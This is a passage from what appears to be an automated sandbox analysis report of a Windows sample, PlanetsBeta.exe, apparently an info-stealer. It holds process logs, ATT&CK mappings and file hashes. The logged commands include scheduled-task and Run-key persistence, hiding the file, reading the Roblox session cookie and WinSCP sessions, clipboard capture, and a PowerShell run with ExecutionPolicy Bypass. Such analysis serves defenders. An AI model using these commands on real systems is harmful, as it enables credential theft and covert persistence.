    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall""
    3⤵
    PID:11824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "attrib +h +s \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\PlanetsBeta.exe\"""
    3⤵
    PID:11532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmd /c schtasks /create /sc onlogon /tn WindowsDriverSetupf5KNoQ /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\PlanetsBeta.exe\" /F /rl highest"
    3⤵
    PID:11360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsDriverSetupf5KNoQ /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\PlanetsBeta.exe /f"
    3⤵
    PID:5476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic process where processid=3908 get ExecutablePath"
    3⤵
    PID:4916
- - C:\Users\Admin\AppData\Local\Temp\2awNX4dFuBHOwjOjA4rjdtOes0z\PlanetsBeta.exe
    "C:\Users\Admin\AppData\Local\Temp\2awNX4dFuBHOwjOjA4rjdtOes0z\PlanetsBeta.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\script" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1516 --field-trial-handle=1704,2939444636546297899,5412480442585108257,131072 --disable-features=PlzServiceWorker,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
    3⤵
    PID:3400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1928
- - C:\Users\Admin\AppData\Local\Temp\2awNX4dFuBHOwjOjA4rjdtOes0z\PlanetsBeta.exe
    "C:\Users\Admin\AppData\Local\Temp\2awNX4dFuBHOwjOjA4rjdtOes0z\PlanetsBeta.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\Admin\AppData\Roaming\script" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAIAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=812 --field-trial-handle=1704,2939444636546297899,5412480442585108257,131072 --disable-features=PlzServiceWorker,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
    3⤵
    PID:11520

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:1996

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1180

C:\Windows\System32\Wbem\WMIC.exe
wmic process where processid=3908 get ExecutablePath
1⤵
PID:4064
- C:\Windows\system32\tasklist.exe
  tasklist
  2⤵
  - Enumerates processes with tasklist
  PID:8224

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:7412

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:7800

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8064

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8312

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8604

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8796

C:\Windows\System32\Wbem\WMIC.exe
wmic OS get caption, osarchitecture
1⤵
PID:8988

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:9232

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
1⤵
PID:9312

C:\Windows\system32\more.com
more +1
1⤵
PID:9172

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 session
1⤵
PID:9812

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:9144

C:\Windows\system32\net.exe
net session
1⤵
PID:9128

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:9072
- C:\Windows\system32\reg.exe
  C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data"
  2⤵
  PID:8052

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:9032

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:9004

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8980

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8960

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8952

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8944

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8892

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8884

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8876

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8844

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8812

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8788

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8780

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8716

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8708

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8696

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8676

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8636

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8628

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8596

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8588

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8572
- C:\Windows\system32\reg.exe
  C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0409-1000-0000000FF1CE}"
  2⤵
  PID:8584

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8556

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8540

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8532

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8484

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8476

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8468

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8460

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8452

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8444

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8436

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8416

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8360

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8348

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8340

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8332

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8300

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8284

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8272

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8264

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8240

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8208

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8196

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:4968

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8184

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8176

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8168

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8160

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8152

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8144

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8132

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8108

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:8096

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8088

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8056

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8044

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8036

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8028

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8020

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8012

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:8004

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:7996

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:7988

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:7968

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:7952

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:7944

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:7936

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:7924

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:7916

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:7908

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:7900

C:\Windows\system32\more.com
more +1
1⤵
PID:11412

C:\Windows\System32\Wbem\WMIC.exe
wmic cpu get name
1⤵
PID:11404

C:\Windows\system32\more.com
more +1
1⤵
PID:11512

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController get name
1⤵
- Detects videocard installed
PID:11504

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:7888

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:7872

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:7864

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:7712

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:7688

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:7680

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:7672

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:7664

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:7536

C:\Windows\system32\tasklist.exe
tasklist
1⤵
- Enumerates processes with tasklist
PID:7360

C:\Windows\System32\Wbem\WMIC.exe
wmic process where processid=3908 get ExecutablePath
1⤵
PID:9332

C:\Windows\system32\schtasks.exe
schtasks /create /sc onlogon /tn WindowsDriverSetupf5KNoQ /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\PlanetsBeta.exe\" /F /rl highest
1⤵
- Creates scheduled task(s)
PID:11388

C:\Windows\system32\cmd.exe
cmd /c schtasks /create /sc onlogon /tn WindowsDriverSetupf5KNoQ /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\PlanetsBeta.exe\" /F /rl highest
1⤵
PID:11400

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "attrib +h +s \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\PlanetsBeta.exe\""
1⤵
PID:11472
- C:\Windows\system32\attrib.exe
  "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\PlanetsBeta.exe
  2⤵
  - Views/modifies file attributes
  PID:11696

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
1⤵
PID:10904

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip"
1⤵
PID:4288

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook"
1⤵
PID:7608

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MPlayer2"
1⤵
PID:6228

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}"
1⤵
PID:7432

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{76DEEAB3-122F-4231-83C7-0C35363D02F9}"
1⤵
PID:7564

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}"
1⤵
PID:9344

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\MfL3jibBbar1_temp.ps1"
1⤵
PID:6640

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKCU\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions"
1⤵
PID:2908

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-Clipboard
1⤵
PID:5228

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E016F2B9-01FE-4FAA-882E-ECC43FA49751}"
1⤵
PID:9576

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D44822A8-FC28-42FC-8B1D-21A78579FC79}"
1⤵
PID:5492

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}"
1⤵
PID:7148

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C7141A99-592B-4226-A4E9-B767C1D0FBAF}"
1⤵
PID:12260

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AE86D888-1404-47CC-A7BB-8D86C0503E58}"
1⤵
PID:8236

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
1⤵
PID:11552

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
1⤵
PID:8880

C:\Windows\system32\tasklist.exe
tasklist
1⤵
PID:6488

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0000-1000-0000000FF1CE}"
1⤵
PID:10100

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-007E-0000-1000-0000000FF1CE}"
1⤵
PID:6288

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{6DB765A8-05AF-49A1-A71D-6F645EE3CE41}"
1⤵
PID:5856

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{662A0088-6FCD-45DD-9EA7-68674058AED5}"
1⤵
PID:4492

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180381}"
1⤵
PID:5384

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}"
1⤵
PID:436

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}"
1⤵
PID:5560

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}"
1⤵
PID:10000

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{113C0ADC-B9BD-4F95-9653-4F5BC540ED03}"
1⤵
PID:6416

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC"
1⤵
PID:9132

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player"
1⤵
PID:6756

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent"
1⤵
PID:2748

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ProPlusRetail - en-us"
1⤵
PID:10740

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MozillaMaintenanceService"
1⤵
PID:5708

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Firefox 105.0.3 (x64 en-US)"
1⤵
PID:2460

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack"
1⤵
PID:7184

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData"
1⤵
PID:6272

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX"
1⤵
PID:6184

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40"
1⤵
PID:10288

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore"
1⤵
PID:9580

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DXM_Runtime"
1⤵
PID:6592

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx"
1⤵
PID:7280

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"
1⤵
PID:372

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsDriverSetupf5KNoQ /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\PlanetsBeta.exe /f
1⤵
PID:11364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
446dd1cf97eaba21cf14d03aebc79f27

SHA1
36e4cc7367e0c7b40f4a8ace272941ea46373799

SHA256
a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

SHA512
a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
561ad4794e22ab68a6811d88e43d6c06

SHA1
3dcd045d3e0fb917c67ec36cfe102e50a9b3c41c

SHA256
250e7bac495dbd6e656b75106b03b7e741c7508097fbd32cf78627061b7ceade

SHA512
00273fa6bf017c674a48e3b9b4757f083540846de66abf8c2b8fc878d38475cf284f3ebefc597600a393ec18c8027a6628e6698ab5a3086fe60e1aa6ef733c96

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
efdf132041ee47c3c04b8f0a22bbf9c0

SHA1
11779bd4f96960bfae4f2ea3206c156e8d3c3b43

SHA256
cdbf7463a72714567c3e22004aed8ee0c25f738f77e782faf4914825cac85d69

SHA512
9b9bc9e7c570c32242d38a156750305efbc2924e4f8750a6874331a115743eb92fc5d6a7a83ddccd6b946de65b968c4a71380cffc80dcb5049d02a197cd56eaa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
